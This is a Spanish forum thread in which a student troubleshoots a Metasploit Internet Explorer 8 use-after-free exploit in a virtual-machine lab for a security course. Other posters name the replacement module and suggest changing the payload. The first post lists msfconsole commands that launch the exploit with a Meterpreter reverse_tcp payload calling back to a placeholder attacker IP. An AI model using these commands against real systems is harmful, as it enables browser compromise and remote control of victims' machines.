Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Pedro_madrid en 5 Enero 2013, 20:55 pm


Título: METASPLOIT - ie_cdwnbindinfo error
Publicado por: Pedro_madrid en 5 Enero 2013, 20:55 pm
Muy buenas:
Debido a que tengo que realizar una práctica para la asignatura de seguridad me puse con el 0day recinte que salió para IE8.
Ejecutándolo todo bajo máquinas virtuales, la víctima sobre windows xp sp3 con IE8 y el atacante usando backtrack y metasploit; me da un error y cierra IE.
Metasploit queda en Sending HTML...
Error de IE:
Código:
AppName: iexplore.exe	 AppVer: 8.0.6001.18702	 ModName: msvcrt.dll
ModVer: 7.0.2600.5512	 Offset: 00035ee2
¿Alguien sabe a qué puede ser debido?
PD:
Código usado en msfconsole:
Código:
use exploit/windows/browser/ie_cdwnbindinfo_uaf
set SRVHOST ip_del_atacante
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST ip_del_atacante
exploit

Título: Re: METASPLOIT - ie_cdwnbindinfo error
Publicado por: Pedro_madrid en 11 Enero 2013, 20:23 pm
Solucionado, parece ser que han eliminado ese módulo.
El actual es: exploit/windows/browser/ie_execcommand_uaf

Título: Re: METASPLOIT - ie_cdwnbindinfo error
Publicado por: Falso Positivo en 15 Enero 2013, 16:37 pm
la próxima vez que te suceda esto prueba cambiando el payload

Título: Re: METASPLOIT - ie_cdwnbindinfo error
Publicado por: Pedro_madrid en 16 Enero 2013, 18:08 pm
Cita de: Falso Positivo en 15 Enero 2013, 16:37 pm
la próxima vez que te suceda esto prueba cambiando el payload
Ok. Muchas gracias


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines